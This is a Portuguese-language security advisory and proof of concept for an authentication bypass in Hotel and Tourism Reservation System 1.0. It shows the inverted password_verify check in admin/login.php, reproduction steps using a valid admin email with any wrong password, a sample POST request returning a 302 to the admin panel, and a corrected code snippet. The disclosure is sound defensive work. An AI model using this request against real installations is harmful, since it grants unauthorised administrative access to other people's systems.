
Exploit de prova de conceito para uma bypass de autenticação no Hotel and Tourism Reservation System 1.0, permitindo acesso admin não autenticado via lógica invertida de password_verify.
| Campo | Detalhes |
|---|
| Título | Sistema de Reserva de Hotéis e Turismo - Bypass de Autenticação |
| Fornecedor | code-projects.org |
| Produto | Hotel and Tourism Reservation System |
| Versão | 1.0 |
| Tipo de Vulnerabilidade | Autenticação Imprópria |
| CWE | CWE-287 |
| Pontuação CVSS | 9.0 (Crítico) |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Arquivo Afetado | /admin/login.php |
| Autenticação Necessária | Não |
| Explorável Remotamente | Sim |
Existe uma vulnerabilidade crítica de bypass de autenticação na funcionalidade de login de administrador do Hotel and Tourism Reservation System 1.0. A vulnerabilidade é causada por uma verificação condicional invertida no valor de retorno de password_verify(), que faz com que a aplicação conceda acesso quando uma senha incorreta é fornecida e negue acesso quando a senha correta é fornecida. Um atacante remoto não autenticado pode obter acesso administrativo total fornecendo um endereço de email válido e qualquer senha incorreta arbitrária.
Arquivo: admin/login.php — Linhas 39–46
if(password_verify($password, $user['password'])){
// BUG: password_verify() returns TRUE when password is CORRECT
// but the error message is placed here instead of login logic
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
} else {
// BUG: this block executes when password is WRONG
// but login is granted here instead of showing an error
$userID = $user['id'];
login($userID);
}
password_verify() retorna true quando a senha fornecida corresponde ao hash. O desenvolvedor colocou a lógica de sucesso dentro do ramo else (que executa quando a função retorna false), o que significa que a autenticação é concedida com qualquer senha incorreta.
Um atacante remoto não autenticado pode:
Configuração: Instale o Hotel and Tourism Reservation System 1.0 no XAMPP. Acesse o aplicativo em http://localhost/ht/.
Passo 1: Navegue para a página de login de administrador.
http:///ht/admin/login.php
Passo 2: Insira um email de administrador válido com qualquer senha errada.
Email: [email protected] Senha: wrongpassword
Passo 3: Clique em Login.
Resultado: A aplicação ignora a autenticação e redireciona para o painel de administração (index.php) — acesso total de administrador concedido com uma senha incorreta.
Requisição:
POST /ht/admin/login.php HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
email=admin%40admin.com&password=test1234&login=Login
Resposta:
HTTP/1.1 302 Found
Location: index.php
Um redirecionamento 302 para index.php confirma a autenticação bem-sucedida com uma senha incorreta.



Troque os ramos condicionais para que o login seja concedido quando password_verify() retornar true:
// CORRIGIDO
if(password_verify($password, $user['password'])){
$userID = $user['id'];
login($userID);
} else {
echo '<div class="w3-text-red text-center">The password you entered was incorrect, please try again.</div>';
}
Imad Alvi — Pesquisador de Segurança Independente